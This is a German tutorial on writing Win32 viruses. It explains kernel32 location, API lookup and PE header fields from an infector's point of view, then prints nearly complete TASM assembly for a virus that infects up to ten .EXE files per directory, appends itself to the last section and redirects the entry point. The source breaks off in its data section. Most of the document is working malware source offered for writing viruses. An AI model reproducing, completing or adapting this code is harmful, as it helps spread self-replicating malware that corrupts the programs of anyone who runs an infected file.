Win32 Viren
SnakeByte
[
zurück zum Index] [
Kommentare (0)]
Endlich ist es soweit und ich habe wieder etwas Zeit für ein Tutorial. Diesmal geht es um Viren unter Windows. Nach so einem Tutorial wurde ich des öfteren gefragt, da es um einiges "aktueller" ist als Dos-Viren. Was gibt es also neues?
- Win32-Bit Assembler
- Die Api's
- PE-Exe Format
1) Win32-Bit Assembler
Die Programmiersprache ist etwas anders, es gibt jetzt 32-Bit Register die durch ein vorangestelltes 'e' gekennzeichnet werden (eax, ebx, ecx.. ) Die alten Register sind aber weiterhin nutzbar. Dazu kommen die API's, die die alten Interrupts ersetzen. Auch ist es nun nicht mehr möglich direkt auf Geräte ( Lautsprecher etc ) zuzugreifen, da normalerweise alle Programme auf Ring-3 ebene laufen. Das System selber und alle Gerätetreiber ( .Vxd ) laufen auf Ring-0 und haben dieses Privileg. Auch die SEH's ( Structural Error Handler ) schränken die Freiheit unter Windows ein, diese Fenster werden dann angezeigt, wenn zum Beispiel durch Null geteilt wird oder man auf nicht freigegebene Speicherbereiche zugegriffen wird. Borland TASM 5.0 eignet sich auch weiterhin als Compiler / Linker, allerdings müssen nun TASM32 und TLINK32 verwendet werden. TD32 ist der entsprechende Debugger. Das soll an dieser Stelle erstmal alles zu Win32-Bit Programmierung sein, ich bin allerdings dabei ein Win32-ASM Tutorial vorzubereiten ( kann aber noch etwas dauern.. ;)
2) Die Api's
Wie eben schon erwähnt ersetzen die API's die alten Interrupts. Wo unter DOS die INT's bzw. die Anfangsaddressen im Speicher lagen ist klar (INT-Nr. * 4), allerdings konnten sie auch direkt über einen Opcode wie z.B. INT 03h (0CCH) aufgerufen werden, so das man sich um die Addressen nicht zu kümmern brauchte. In Windows ist dies allerdings anders. Die API's sind exportierte Funktionen aus den verschiedensten DLL-Dateien (Kernel32.dll und User32.dll sind die am häufigsten gebrauchten ) Wenn Windows nun beim hochfahren die Kernel32.dll lädt, ist diese unter Win9x an einem festen Punkt, jedoch nicht unter NT. Wiso ist die Addresse wichtig ? Den API's ist unter Windows nicht ein fester Opcode zugeordnet, wie dies unter DOS mit den Int's der Fall ist. Beim Ausführen einer PE-Exe wird in der Import-Table der EXE gelesen und dann in einen festgelegten Bereich die Addressen der API's geschrieben. Im Code ist dann ein call zu dieser Addresse. z.B.:
[...]
call MessageBoxA ; wir rufen den API auf
[...]
MessageBoxA:
jmp xxxxxxxx ; dies ist ein Sprung in die User32.dll, die diesen API enthält
Das xxxxxxxx wird dann beim Start durch den Anfangspunkt des API's im Speicher ersetzt. Wie kommt nun ein Virus an die Startaddressen der API's im Kernels? Man braucht im Grunde nur 2 API's um alle anderen zu erhalten:
- GetProcAddress
- Gibt den Anfangspunkt einer beliebigen DLL
- GetModuleHandle
- Gibt den Anfangspunkt eines API's
Beide API's sind in der Kernel32.dll vorhanden. Zuerst versuchte man durch fixe Werte der Kernel32.dll diese API's zu ermitteln, jedoch führte die unter den verschiedenen Windows-Versionen zu Fehlern. Danach ging man dazu über die beiden aus der Import-Table der eigenen, infizierten Datei zu ermitteln, jedoch schlug dies fehl wenn die EXE diese beiden API's nicht verwendete. Nun aber zu dem besten Weg um an die Anfangsaddresse der Kernel32.dll zu kommen um dann in ihrer Export-Tabelle nach den beiden API's zu suchen. Wenn eine Datei ausgeführt wird geschieht dies über den CreateProcess API, der auch in der Kernel32.dll enthalten ist. Wenn eine Datei nun ausgeführt wird, liegt der Rücksprungspunkt zu dieser Prozedur auf dem Stack.
.486P
.Model Flat ,StdCall
extrn ExitProcess:PROC ; Hier deklarieren wir die benötigten API's
; ExitProcess beendet die Ausführung
.Data
db 0h ; der Bereich für die Daten
.Code
Main:
ret ; hier springen wir zurück in den CreateProcess
End Main
Dieser Code läuft einwandfrei und kehrt einfach direkt nach dem Start zurück in den CreateProcess. Zuerst holen wir nun die Addresse aus dem Stack und runden sie, da DLL's immer an runde Speicherpostitionen geladen werden.
mov eax, [esp]
xor ax, ax
Nun haben wir in eax möglicherweise die Addresse des Kernels. Dies testen wir, indem wir auf das altbekannte "MZ" testen, das auch die PE-EXE Dateien, wie sie DLL's auch sind einleitet. Mehr Code dazu später...
3) PE-Exe Format
Unter Windows gibt es ein neues Dateiformat, die PE-EXE. Nur zur Information: Win 3.1 und die Vorgänger hatten schon ein neues Format, die NE (New Executable) Exe Datei, aber diese war für uns nicht so wichtig ;) Die PE-Exe wird unter Windows nicht nur für EXE-Dateien sondern auch für .scr, .dll, .vxd, .ocx... verwendet. Die PE-Exe (Portable Executable) hat, hat grob folgende Struktur:
- Dos-Stub
- PE-Header
- Section-Table
- Code / Daten / etc.. (die einzelnen Sections)
Fangen wir vorne an. Der Dos-Stub ist genau das gleiche wie der DOS-Exe Header, er ist dazu da, damit die Dateien auch unter Dos ausführbar bleiben und dem verduzten User mitgeteilt wird "This program cannot be run in DOS mode", damit er weiß das er es hier mit einer Windows Datei zu tun hat (Kann auch anders lauten, ist vom Compiler zu Compiler verschieden.) Der Dos Header interessiert uns eigentlich nur nebensächlich, da er uns den Start des PE-Headers angibt und das MZ-Zeichen enthält. An Offset 3Ch des Dos-Stubs finden wir das Offset des PE-Headers. Dieses Offset des PE-Headers ist auch vom Compiler abhängig. Auch das MZ sollte vor einer Infektion überprüft werd, damit sicher ist das es sich um eine EXE-Datei handelt. (evtl. noch testen ob der erhaltene Offset auch innerhalb der Datei liegt und sie nicht evtl. beschädigt ist). Der PE-Header fängt mit einem 'PE',0h,0h an (also 50540000h). Dieses müsst ihr überprüfen, wenn ihr nicht bei alten (Dos / NE) Exe-Dateien in Probleme geraten wollt. Hier einfach mal alle wichtigen Stellen des PE-Headers, ich werde nachher auf die einzelnen noch einmal eingehen. Die Offsets sind alle relativ zum Anfang des PE Headers!
| 00h | Magic Value ("PE",0,0) |
| 06h | Number of Sections |
| 16h | Characteristics |
| 28h | Entrypoint (Initial EIP) |
| 34h | Image Base |
| 38h | Section Alignment |
| 4Ch | Reserved (0) |
- Magic Value ("PE",0,0)
- Sollte klar sein, habe ich oben schon erklärt.
- Number of Sections
- Die Anzahl der einzelnen Abschnitte der Datei (Code, Data, Whatever .. ;) Wir brauchen diese Anzahl, um den Section Header des letzten Abschnittes zu ermitteln, da wir in diesen unseren Virus schreiben wollen.
- Characteristics
- Gibt an, ob es sich evtl. um eine DLL Datei handelt. Diese sollten wir nicht infizieren.
mov bx, word ptr [edi] ; edi zeigt auf das Feld
and bx, 0F000h ; wir checken nur das DLL Feld
cmp bx, 02000h ; bleib eine 200 übrig
je GotaDLL ; haben wir eine DLL
- Entrypoint
- Das ist der Punkt an dem der Code anfängt (später unser Virus)
- Image Base
- Wenn eine EXE Datei geladen wird, wird sie von Windows an den Speicherbereich geladen, der hier angegeben ist. Alle andereren Adressangaben im Header sind immer relativ zum Anfang der Datei. Wenn die Datei geladen wird wird die Imagebase zu den Adressen addiert, so das man die Adresse im Speicher enthält. (Wenn wir die Datei in den Speicher laden müssen wir diese Werte natürlich auch angleichen)
- Section Alignment
- Dies ist der Wert auf den die Sektionen & die Datei gerundet werden müssen.
- Reserved (0)
- Ein unbenutztes Feld, perfekt für unsere Infektionsmarke ;)
Ok, nun etwas zur Section Table. Die Section Table enthält Informationen über den Abschnitt der Datei. So können zum Beispiel Flags gesetzt werden, ob der Abschnitt lesbar, beschreibbar oder ausführbar ist. (Die .Code Sektion ist normalerweise nicht beschreibbar !) Diesmal sind die Offsets relativ zum Start der Section Table.
| 08h | Virtual Size (Größe der Sektion) |
| 0Ch | Virtual Address (Start der Sektion) |
| 10h | Size of Raw Data |
| 14h | Pointer to Raw Data |
| 24h | Characteristics (Flags) |
- Virtual Size
- Echte Größe der Sektion
- Virtual Address
- Wenn man die Startadresse einer Sektion im Speicher herausfinden will, addiert man zu diese Adresse, die Imagebase
- Size of Raw Data
- Gerundete Größe der Sektion
- Pointer to Raw Data
- Offset der Sektion in relation zum Anfang der Datei
- Characteristics
- Dieses Feld enthält Flags, die angeben, was mit dieser Sektion geschehen darf. Hier einmal die für uns wichtigen:
| 20h | Code |
| 20000000h | darf ausgeführt werden |
| 40000000h | lesbar |
| 80000000h | beschreibbar |
Welche dieser Felder sollte ein Virus normalerweise ändern?
- PE-Header: Entrypoint, Reserved
- Sec-Table: Virtual Size, Size of Raw Data, Characteristics
Das sollte soweit als Erklärung reichen, hier mal den Quellcode eines simplen Viruses, ich hoffe die Kommentare sollten alles weitere erklären.
; ***************************************************************************
; ---------------------------[ Hier starten wir ]----------------------------
; ***************************************************************************
.586p
.model flat
jumps ; Jumps werden berechnet
.radix 16 ; Alle Nummern sind Hexadezimal
; ein paar API's
extrn ExitProcess:PROC ; Fake-host für die 1. Generation
extrn MessageBoxA:PROC ; Zum Testen, damit man nicht immer gleich zum debugger
; greifen muss
.data ; Pseudo-Data, da TASM dies hier sonst nicht
db ? ; kompilieren würde, wir speichern alle Daten in der
; Code Sektion. Aus diesem Grund müssen wir nach dem
; Compilieren PEWRSEC benutzen damit wir auch Lesezugriff
; auf die Code Sektion haben !
; Zwei Konstanten die ich nicht selber berechnen will ;)
VirusSize equ (offset VirusEnd - offset Virus )
Buffersize equ (offset EndBufferData - offset VirusEnd )
; Struktur die wir für die FindFirstFile / Next brauchen
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
.code
; ***************************************************************************
; -----------[ Delta Offset Berechnung und suchen nach dem Kernel ]----------
; ***************************************************************************
Virus: ; Hier starten wir
call Delta ; Alte Methode um den Delta Offset zu berechnen,
; damit die Offsets relativ sind
Delta:
pop ebp ; durch den Call legen wir die momentane Adresse auf den Stack
sub ebp, offset Delta ; subtrahieren, die Originaladresse und errechnen so unseren
; Relationsfaktor in ebp
; Wir speichern diese beiden Werte ( EIP & Imagebase )
; um später zu dem Code der infizierten Datei springen zu können
mov eax, dword ptr [ebp+OldEIP]
mov dword ptr [ebp+retEIP], eax
mov eax, dword ptr [ebp+OldBase]
mov dword ptr [ebp+retBas], eax
mov esi, [esp] ; wir lesen die return Adresse des Create Process API aus dem
xor si, si ; Stack und runden ihn auf eine volle Page
call GetKernel ; Prozedur die den Kernel testet
jnc GetApis ; Falls wir den Kernel haben, suchen wir nach den API's
; Wenn nicht, suchen wir nach dem Kernel
; an mehreren fixen Adressen
; Doch sollte der obige Weg meistens klappen
mov esi, 0BFF70000h ; Win95 Kernel Adresse testen
call GetKernel
jnc GetApis
mov esi, 077F00000h ; WinNT Kernel Addy
call GetKernel
jnc GetApis
mov esi, 077e00000h ; Win2k Kernel Addy
call GetKernel
jnc GetApis
; wenn wir den Kernel immernoch nicht
jmp ExecuteHost ; gefunden haben starten wir die infizierte Datei
; ***************************************************************************
; ---------------[ Suchen nach der Adresse des Kernels ]---------------------
; ***************************************************************************
GetKernel: ; Wir suchen nach dem Kernel
; Wir durchsuchen maximal 5 Pages
mov byte ptr [ebp+K32Trys], 5h
GK1:
cmp byte ptr [ebp+K32Trys], 00h
jz NoKernel ; Sind wir an unserem Limit vorbei ?
call CheckMZSign ; Hat diese Page einen EXE-Header ( Stub )
jnc CheckPE
GK2:
sub esi, 10000h ; Suchen nach der nächsten Page
dec byte ptr [ebp+K32Trys]
jmp GK1 ; Start des Tests
CheckPE: ; Testen ob es auch eine Win32Bit EXE ist
mov edi, [esi+3Ch] ; da die Kernel32.dll auch eine PE-EXE ist
add edi, esi
call CheckPESign
jnc CheckDLL ; nun testen wir noch ob wir eine DLL gefunden haben
jmp GK2
CheckDLL:
add edi, 16h ; suchen nach dem Flag
mov bx, word ptr [edi] ; Characteristics laden
and bx, 0F000h ; DLL Flag raussuchen
cmp bx, 02000h ; und testen ob es gesetzt ist
jne GK2 ; wenn es keine DLL ist suchen wir weiter
KernelFound: ; Wir haben den Kernel gefunden !
sub edi, 16h ; edi wird auf den PE - Header gesetzt
xchg eax, edi ; PE Adresse wird in eax gespeichert
xchg ebx, esi ; MZ Adresse in ebx
clc ; löschen des Carriage Flags
ret ; Rückkehr
NoKernel: ; wenn wir den Kernel nicht gefunden haben,
stc ; löschen wir das Carriage Flag und beenden die Prozedur
ret
K32Trys db 5h ; Suchweite
; ***************************************************************************
; -------------------------[ Suchen nach den API's ]-------------------------
; ***************************************************************************
; Diese 2 API's suchen wir im Kernel.
; Wir brauchen diese beiden um alle anderen APIs zu ermitteln
; Ich bevorzuge LoadLibraryA zu GetModuleHandle,
; weil es nun nicht mehr nötig ist, das die infizierte Datei
; auch API's aus den DLL's die wir brauchen läd, denn
; wir laden sie selbst,... ;)
LL db 'LoadLibraryA', 0h ; Diese beiden API's suchen wir
GPA db 'GetProcAddress', 0h
GetApis: ; Offset des Kernel32.dll PE-Headers ist in EAX
mov [ebp+KernelAddy], eax ; Speichern
mov [ebp+MZAddy], ebx
lea edx, [ebp+LL] ; Zeiger auf den Namen der LoadLibaryA - API
mov ecx, 0Ch ; Länge des Namens
call SearchAPI1 ; such ihn !
mov [ebp+XLoadLibraryA], eax
; Adresse speichern
xchg eax, ecx ; Wenn wir einen der beiden API's nicht ermitteln können
jecxz ExecuteHost ; starten wir das infizierte Prog
lea edx, [ebp+GPA] ; Name der GetProcAddress - API
mov ecx, 0Eh ; Länge
call SearchAPI1
mov [ebp+XGetProcAddress], eax
xchg eax, ecx ; testen ob wir ihn haben
jecxz ExecuteHost
; Nun haben wir alle API's die wir brauchen und können
jmp GetAPI2 ; alle anderen ermitteln
KERNEL32 db 'Kernel32',0 ; jaja, den jump hätte man weglassen können, aber so ist
; es übersichtlicher !
GetAPI2: ; Wir bekommen die anderen API's durch das ermitteln der
; DLL um dann die API's selber zu lokalisieren
; Wir ermitteln die Handles durch
; Aufruf der LoadLibrary API.. :)
; falls das schiefläuft starten wir
; die Originaldatei
lea eax, [ebp+KERNEL32]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+K32Handle], eax
test eax, eax
jz ExecuteHost
lea esi, [ebp+Kernel32Names]
lea edi, [ebp+XFindFirstFileA]
mov ebx, [ebp+K32Handle]
push NumberOfKernel32APIS
pop ecx
call GetAPI3
jmp Outbreak
; ***************************************************************************
; ---------[ Durchsuchen der Kernel Export Table nach API's ]----------------
; ***************************************************************************
SearchAPI1: ; In dieser Prozedur suchen wir nach den 2 Hauptapi's
; Counter löschen
and word ptr [ebp+counter], 0h
mov eax, [ebp+KernelAddy] ; PE-Header Offset laden
mov esi, [eax+78h] ; Export Table Address ermitteln
add esi, [ebp+MZAddy] ; aus der relativen Adresse eine absolute machen
add esi, 1Ch ; nicht benötigten Daten werden übersprungen
lodsd ; Die Address Table ermitteln
add eax, [ebp+MZAddy] ; zu einem absoluten Wert umrechnen und speichern
mov dword ptr [ebp+ATableVA], eax
lodsd ; Name Pointer Table ermitteln,
add eax, [ebp+MZAddy] ; umrechnen und speichern
mov dword ptr [ebp+NTableVA], eax
lodsd ; Ordinal Table ermitteln,
add eax, [ebp+MZAddy] ; und... rate mal ;)
mov dword ptr [ebp+OTableVA], eax
mov esi, [ebp+NTableVA] ; Name Pointer Table Addy in esi laden
SearchNextApi1:
push esi ; auf den Stack legen
lodsd
add eax, [ebp+MZAddy] ; und auf eine absolute Adresse umrechnen
mov esi, eax ; API Name in der Kernel Export API in esi
mov edi, edx ; API die wir suchen in edi
push ecx ; Länge speichern
cld ; Direction flag löschen
rep cmpsb ; Vergleichen
pop ecx
jz FoundApi1 ; Sind sie gleich ?
pop esi ; Name Pointer Table laden
add esi, 4h ; Zeiger auf nächsten API-Namen setzen
inc word ptr [ebp+counter]
cmp word ptr [ebp+counter], 2000h
je NotFoundApi1 ; falls wir mehr als 2000 API's getestet haben, haben wir ein
; Problem ;)
jmp SearchNextApi1 ; Nächste API testen
FoundApi1:
pop esi ; Stack leeren ( wir wollen ja keine Buffer Overflows
; ok, wir wollen sie, aber nicht heute und nicht hier *bg* )
movzx eax, word ptr [ebp+counter]
shl eax, 1h ; eax mit 2 multiplizieren
; damit eax auf den richtigen Eintrag zeigt
add eax, dword ptr [ebp+OTableVA]
xor esi, esi ; esi löschen
xchg eax, esi ; esi zeigt nun auf den Eintrag
lodsw ; Ordinal in AX laden
shl eax, 2h ; eax * 4
add eax, dword ptr [ebp+ATableVA]
mov esi, eax ; esi zeigt auf die Adress RVA
lodsd ; eax = Adress RVA
add eax, [ebp+MZAddy] ; in einen absoluten Wert umrechnen
ret ; API ist nun in EAX und wir springen zurück
NotFoundApi1:
xor eax, eax ; Wir haben den entsprechenden API nicht gefunden :(
ret ; EAX wird mit 0 als Fehlercode gefüllt
; ***************************************************************************
; -----------------------------[ API - Tabellen ]----------------------------
; ***************************************************************************
; Hier folgt eine Tabelle der API's die wir brauchen
; Wenn du wissen willst was sie alle machen, lies die
; Win32 Programmer's Reference
; Ich werde sie hier nicht erklären ( ich denk mal die Namen
; sagen genug aus *g* )
Kernel32Names:
NumberOfKernel32APIS equ 8d
db 'FindFirstFileA', 0
db 'FindNextFileA', 0
db 'FindClose', 0
db 'CreateFileA', 0
db 'CloseHandle', 0
db 'CreateFileMappingA', 0
db 'MapViewOfFile', 0
db 'UnmapViewOfFile', 0
; ***************************************************************************
; --------------[ API's mit GetProcAddress ermitteln ]-----------------------
; ***************************************************************************
; esi zeigt auf die Tablle der Names
; edi auf die offsets der API's
; ebx hat das Handel des Moduls
; ecx die Nummer der API's
GetAPI3:
push ecx ; ecx speichern
push esi ; push Api-name
push ebx ; push Module-Handle
; call GetProcAddress
call dword ptr [ebp+XGetProcAddress]
stosd ; Adresse des Offsets speichern
pop ecx ; Haben wir alle ?
dec ecx
jz EndApi3
push ecx ; ansonsten legen wir ESI auf den nächsten Namen
SearchZero: ; wir suchen nach dem Ende des
cmp byte ptr [esi], 0h
je GotZero ; API-Namens ( immer 0 )
inc esi
jmp SearchZero
GotZero:
inc esi
pop ecx ; Anzahl der restlichen APIs laden
jmp GetAPI3 ; nächsten API ermitteln
EndApi3:
ret
; ***************************************************************************
; ---------------------[ Outbreak ! lasst uns infizieren ]-------------------
; ***************************************************************************
Outbreak:
; Nun haben wir alles was wir brauchen um ein
; paar Dateien zu infizieren ;)
mov [ebp+InfCounter], 10d ; Wir wollen max. 10 Dateien infizieren
; ***************************************************************************
; ---------------[ Infektion des momentanen Verzeichnisses ]-----------------
; ***************************************************************************
InfectCurDir: ; Hier infizieren wir die Dateien im Momentanen Verzeichnis
; Wir benutzen die FindFirstFile - FindNextFile API's
; um alle PE-EXE Dateien zu finden
lea esi, [ebp+filemask]
call FindFirstFileProc
inc eax
jz EndInfectCurDir1 ; Wenn wir keine Dateien finden, beenden wir die Prozedur
dec eax
InfectCurDirFile:
; Dateiname in ESI laden
lea esi, [ebp+WFD_szFileName]
call InfectFile ; Wir versuchen die Datei zu infizieren
cmp [ebp+InfCounter], 0h ; Checken ob wir unser Limit an Dateien infiziert haben
jna EndInfectCurDir2
call FindNextFileProc
test eax, eax
jnz InfectCurDirFile
EndInfectCurDir2: ; Search - Handle schließen
push dword ptr [ebp+FindHandle]
call dword ptr [ebp+XFindClose]
EndInfectCurDir1:
jmp ExecuteHost
InfCounter db 0h ; Counter
FindHandle dd 0h ; Handle für FindFirstFile API
filemask db '*.EXE', 0 ; wir suchen nach EXE - Dateien
; ***************************************************************************
; ---------------------[ Original Program ausführen ]------------------------
; ***************************************************************************
ExecuteHost: ; Wir führen das infizierte Programm aus
or ebp, ebp ; Wenn dies der Virus der ersten Generation ist
jz FirstGenHost ; können wir keine infizierte Datei ausführen, deshalb
; stoppen wir dies mit dem ExitProcess..
mov eax,12345678h ; Rückkehr zur alten Imagebase+EIP
org $-4
retEIP dd 0h
add eax,12345678h
org $-4
retBas dd 0h
jmp eax
FirstGenHost:
push 0h ; Hier beenden wir den Virus mit dem ExitProcess API's
call ExitProcess ; ( nur erste Generation )
OldEIP dd 0h ; Gespeicherter Entry Point
OldBase dd 0h ; Gespeicherte Imagebase
NewEIP dd 0h ; Neuer EIP ( zeigt auf unseren Virus.. )
; ***************************************************************************
; -------------------[ Infektion der Datei vorbereiten ]--------------------
; ***************************************************************************
InfectFile: ; Hier bereiten wir die Infektion vor,
; der Dateiname ist in [ebp+WFD_szFileName]
; Wir öffnen sie und überprüfen, ob wir
; die Datei infizieren können
; esi zeigt auch auf den Dateiname
; Wenn die Datei kleiner als
; 200 Bytes ist wird sie nicht überprüft
cmp dword ptr [ebp+WFD_nFileSizeLow], 200d
jbe NoInfection
; Wir infizieren auch keine Dateien, die größer als 4,3 GB sind
cmp dword ptr [ebp+WFD_nFileSizeHigh], 0
jne NoInfection
call OpenFile ; Datei öffnen
jc NoInfection ; Wenn es Probleme gibt, beenden wir dies
mov esi, eax
call CheckMZSign ; Wir machen nur weiter wenn der DOS-Stub existiert
jc Notagoodfile
cmp word ptr [eax+3Ch], 0h
je Notagoodfile
xor esi, esi ; Wir ermitteln den Anfang des PE-Headers
mov esi, [eax+3Ch]
; Falls er ausserhalb der Datei liegt schließen wir diese wieder
cmp dword ptr [ebp+WFD_nFileSizeLow], esi
jb Notagoodfile
add esi, eax
mov edi, esi
call CheckPESign ; Überprüfen ob diese Datei einen PE-Header hat
jc Notagoodfile
; wir überprüfen ob unsere Infektionsmarke gesetzt ist
; --> Test
cmp dword ptr [esi+4Ch], 'tseT'
jz Notagoodfile
mov bx, word ptr [esi+16h]; Charakteristiken der Datei aus dem PE-Header lesen
and bx, 0F000h ; Dll-Flag auswählen
cmp bx, 02000h
je Notagoodfile ; wir wollen keine DLL Dateien infizieren
mov bx, word ptr [esi+16h]; Charakteristiken erneut lesen
and bx, 00002h ; Überprüfen ob wir OBJ Dateien haben
cmp bx, 00002h
jne Notagoodfile
call InfectEXE ; Alles klar, diese Datei können wir infizieren
jc NoInfection ; Falls es Fehler gibt, während
; wir die Datei neu mappen brauchen wir sie
; nicht wieder unmappen und zu schließen
Notagoodfile:
call UnMapFile ; Wir unmappen die Datei und schreiben dadurch
; wieder auf die Platte
NoInfection:
ret
; ***************************************************************************
; -------------------[ Öffnen und schließen der Dateien ]--------------------
; ***************************************************************************
OpenFile:
xor eax,eax ; Wir öffnen die Dateie
push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi ; Name der Datei in esi
call dword ptr [ebp+XCreateFileA]
inc eax
jz Closed ; Falls es Fehler gibt stoppen wir hier
dec eax ; Der Datei-Handle ist in eax, wir speichern ihn
mov dword ptr [ebp+FileHandle],eax
; Wir mappen die Datei mit der Größe aus der Find32-Daten
; Struktur
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
CreateMap: ; ist die Datei schon geöffnen mappen
; wir sie in der Größe aus ecx
push ecx ; Datei speichern
xor eax,eax ; wir müssen ein Map erstellen um in der Lage
push eax ; zu sein, sie vernünftig zu editieren
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+XCreateFileMappingA]
mov dword ptr [ebp+MapHandle],eax
pop ecx ; Größe wieder laden
test eax, eax ; Wenn es nen Fehler beim Mappen gab, schließen wir die
jz CloseFile ; Datei wieder...
xor eax,eax ; Die Datei wird gemappt.. *bla*
push ecx
push eax
push eax
push 2h
push dword ptr [ebp+MapHandle]
call dword ptr [ebp+XMapViewOfFile]
or eax,eax ; Falls es Fehler gab, unmappen wir sie wieder
jz UnMapFile
; EAX enthält den offset an dem die Datei nun liegt
mov dword ptr [ebp+MapAddress],eax
; Carriage Flag wird gelöscht, da wir Erfolg hatten
clc ; Datei offen --> kein flag
; Datei zu --> Carriage Flag
ret
UnMapFile: ; Datei wieder unmappen
call UnMapFile2
CloseFile: ; und schließen
push dword ptr [ebp+FileHandle]
call [ebp+XCloseHandle]
Closed:
stc ; Carriage Flag setzen
ret
UnMapFile2: ; Wir müssen sie öfters unmappen um sie später
; mit mehr Platz zu mappen, damit wir den Virus
; anhängen können
push dword ptr [ebp+MapAddress]
call dword ptr [ebp+XUnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call dword ptr [ebp+XCloseHandle]
ret
; ***************************************************************************
; ----------------------[ Infektion der EXE-Datei ]--------------------------
; ***************************************************************************
InfectEXE: ; MapAddress enthält den Startoffset der Datei
mov ecx, [esi+3Ch] ; esi zeigt auf den PE-Header
; ecx enthält nun den Alignment Faktor
; Die Größe wird in eax geladen
mov eax, dword ptr [ebp+WFD_nFileSizeLow]
add eax, VirusSize
call Align ; nun wird die neue Größe auf den Alignment Faktor gerundet
mov dword ptr [ebp+NewSize], eax
xchg ecx, eax
pushad ; Register speichern
; Wir schließen die Datei und laden sie mit
; der neu ermittelten Größe, so das wir unseren
; Code hinzufügen können
call UnMapFile2
popad ; Register wiederherstellen
call CreateMap ; Neu Mappen
; Beenden falls es Fehler gab
jc NoEXE
; esi soll wieder auf den PE-Header zeigen
mov esi, dword ptr [eax+3Ch]
; wieder in einen absoluten Wert umrechenen
add esi, eax
mov edi, esi ; edi = esi
; eax = Anzahl der Sektionen
; wir ermitteln nun die letzte Sektion, damit wir
; dort unseren Code anhängen können
movzx eax, word ptr [edi+06h]
dec eax
imul eax, eax, 28h ; mit 28 ( der Größe der Sektion-Header ) multiplizieren,
; damit wir den letzten Sektion Header ermitteln
add esi, eax ; in absolute Adresse umrechnen
add esi, 78h ; Auf die Directory Table zeigen lassen
mov edx, [edi+74h] ; Anzahl der Directory Entrys ermitteln
shl edx, 3h ; mit 8 multiplizieren
add esi, edx ; damit esi auf den letzten Eintrag zeigt
; Entry Point ermitteln und speichern, damit
; wir in der Lage sind zur Originaldatei zurückzuspringen
mov eax, [edi+28h]
mov dword ptr [ebp+OldEIP], eax
; Imagebase ermitteln und speichern
mov eax, [edi+34h]
mov dword ptr [ebp+OldBase], eax
mov edx, [esi+10h] ; Größe der RAW-Data ermitteln
; die wir später vergrößern
mov ebx, edx
add edx, [esi+14h] ; edx = Zeiger auf raw-data
push edx ; auf dem Stack speichern
mov eax, ebx
add eax, [esi+0Ch] ; in absolute Adresse umrechnen
; damit haben wir unsere neue EIP ( Ende der alten RAW-Data )
mov [edi+28h], eax
mov dword ptr [ebp+NewEIP], eax
mov eax, [esi+10h] ; Raw-Data Größe erhöhen
push eax
add eax, VirusSize
mov ecx, [edi+3Ch] ; und runden
call Align
; in der Datei als neue Größe speichern
mov [esi+10h], eax
pop eax ; neue Virual-Size berechnen
add eax, VirusSize
add eax, Buffersize
mov [esi+08h], eax
pop edx
mov eax, [esi+10h]
add eax, [esi+0Ch] ; Neue Imagesize berechnen
mov [edi+50h], eax
; Sektion flags ändern, damit wir Lese & Schreibzugriff
; haben wenn die Datei ausgeführt wird
; Natürlich setzen wir auch das Code Flag.. ;)
or dword ptr [esi+24h], 0A0000020h
; Wir schreiben nun noch unsere Infektionsmarke in die
; Datei, damit wir sie nicht doppelt infizieren
; --> Test
mov dword ptr [edi+4Ch], 'tseT'
xchg edi, edx
lea esi, [ebp+Virus] ; Nun hängen wir zuguterletzt unseren Virus an
add edi, dword ptr [ebp+MapAddress]
mov ecx, VirusSize
; Größe in ECX, Start in esi, Datei in edi
rep movsb ; Virus anhängen
dec byte ptr [ebp+InfCounter]
NoEXE: ; Nun beenden wir die Prozedur, und schreiben
; dann die Datei auf die Platte ( unmappen )
stc
ret
; ***************************************************************************
; --------------------------[ Align-Prozedur ]-------------------------------
; ***************************************************************************
; Größe runden..
; eax - Größe
; ecx - Rundungsbasis
Align:
push edx
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
pop edx ; eax - Neue Größe
ret
; ***************************************************************************
; --------------------------[ FindFile Prozeduren ]--------------------------
; ***************************************************************************
; Diese Prozeduren suchen nach Dateien
FindFirstFileProc:
lea eax, [ebp+WIN32_FIND_DATA]
push eax
push esi
call dword ptr [ebp+XFindFirstFileA]
mov dword ptr [ebp+FindHandle], eax
ret
FindNextFileProc:
lea edi, [ebp+WFD_szFileName]
mov ecx, 276d ; Wir löschen die Felder, damit wir nicht noch Überreste
; einer alten Suche drinnen haben
xor eax, eax
rep stosb
lea eax, [ebp+WIN32_FIND_DATA]
push eax
mov eax, dword ptr [ebp+FindHandle]
push eax
call dword ptr [ebp+XFindNextFileA]
ret
;****************************************************************************
; ---------------------[ PE / MZ Marken überprüfen ]-------------------------
; ***************************************************************************
; Hier testen wir die PE und MZ Marken, damit
; wir die EXE-Dateien identifizieren können
; Diesmal bisserl anders als normal ;)
CheckPESign:
cmp dword ptr [edi], 'FP' ; größer oder gleich "PF"
jae NoPESign
cmp dword ptr [edi], 'DP' ; kleiner oder gleich "PD"
jbe NoPESign
clc ; Alles was überbleibt ist "PE"
ret
NoPESign:
stc
ret
CheckMZSign:
cmp word ptr [esi], '[M'
jae NoPESign
cmp word ptr [esi], 'YM'
jbe NoPESign
clc
ret
ret
; ***************************************************************************
; -------------------[ Daten die nicht mitwandern ]--------------------------
; ***************************************************************************
VirusEnd: ; Dies hier wird nicht mitwandern...
K32Handle dd (?) ; Hier speichern wir das Handle der Kernel32.dll
XLoadLibraryA dd (?) ; Hier die Offsets der ersten beiden API's
XGetProcAddress dd (?)
; Alle anderen API - Adressen
XFindFirstFileA dd (?)
XFindNextFileA dd (?)
XFindClose dd (?)
XCreateFileA dd (?)
XCloseHandle dd (?)
XCreateFileMappingA dd (?)
XMapViewOfFile dd (?)
XUnmapViewOfFile dd (?)
; Daten für die Kernel-Suche
KernelAddy dd (?) ; PE-Header
MZAddy dd (?) ; MZ-Header
counter dw (?) ; Wie viele Namen haben wir getestet
; Daten für die Infektion
ATableVA dd (?) ; Address Table VA
NTableVA dd (?) ; Name Pointer Table VA
OTableVA dd (?) ; Name Pointer Table VA
NewSize dd (?) ; Neue Größe der Datei
; Daten um Dateien zu finden
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
